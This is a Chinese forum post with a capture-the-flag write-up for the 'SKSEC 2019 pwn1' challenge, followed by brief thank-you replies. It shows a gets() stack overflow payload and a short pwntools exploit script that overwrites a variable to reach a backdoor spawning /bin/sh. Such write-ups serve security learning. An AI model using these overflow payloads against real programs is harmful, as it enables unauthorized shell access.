虐猫人薛定谔i 发表于 2019-11-24 13:34

SKSEC 2019 pwn1

# pwn1
1、将程序拖入IDA,找到主函数,按F5查看伪代码
![在这里插入图片描述](https://img-blog.csdnimg.cn/20191117221156742.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RlZXBfX19MZWFybmluZw==,size_16,color_FFFFFF,t_70)
2、程序的执行流程是通过gets()函数输入变量v4,如果变量v5等于440039336819(这是一个字符串,可以选中后,按r键,查看反向的字符串),则执行backdoor()函数
3、进入backdoor()函数,可以发现函数返回了system("/bin/sh")
![在这里插入图片描述](https://img-blog.csdnimg.cn/20191117221724843.png)
4、我们想到可以通过覆盖变量的方式来达到控制程序执行流程的目的,首先计算出变量v4和变量v5的地址差,即0x20-0x08=0x18(==注意是十六进制的!!!==),0x18转换成十进制也就是24。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20191117222231488.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RlZXBfX19MZWFybmluZw==,size_16,color_FFFFFF,t_70)
5、payload就是计算出的两个变量的地址之差乘以任意字符,再加上字符串skctf

```python
payload = 'a'*24+'skctf'
```

6、漏洞利用脚本如下:

```python
from pwn import *
p=process('./pwn1')
payload='a'*24+'skctf'
p.sendline(payload)
p.interactive()
```

aoyoudahai 发表于 2019-11-25 08:42

非常感谢楼主的分享

wisoft 发表于 2019-11-25 09:33

能分享程序不?

forthebest 发表于 2019-11-26 16:18

:lol学长出的入门好题。

richens 发表于 2019-11-27 11:24

学习学习!

18813295220 发表于 2019-11-28 09:41

学习,感谢楼主分享

工程欧巴 发表于 2019-11-29 10:24

厉害,支持一下

Dabingpeng 发表于 2019-12-4 09:05

感谢分享

psych1 发表于 2019-12-16 20:38

楼主还有其他的题目吗?想多学一点

feiyu988 发表于 2019-12-16 20:51


感谢分享!
页: [1] 2
查看完整版本: SKSEC 2019 pwn1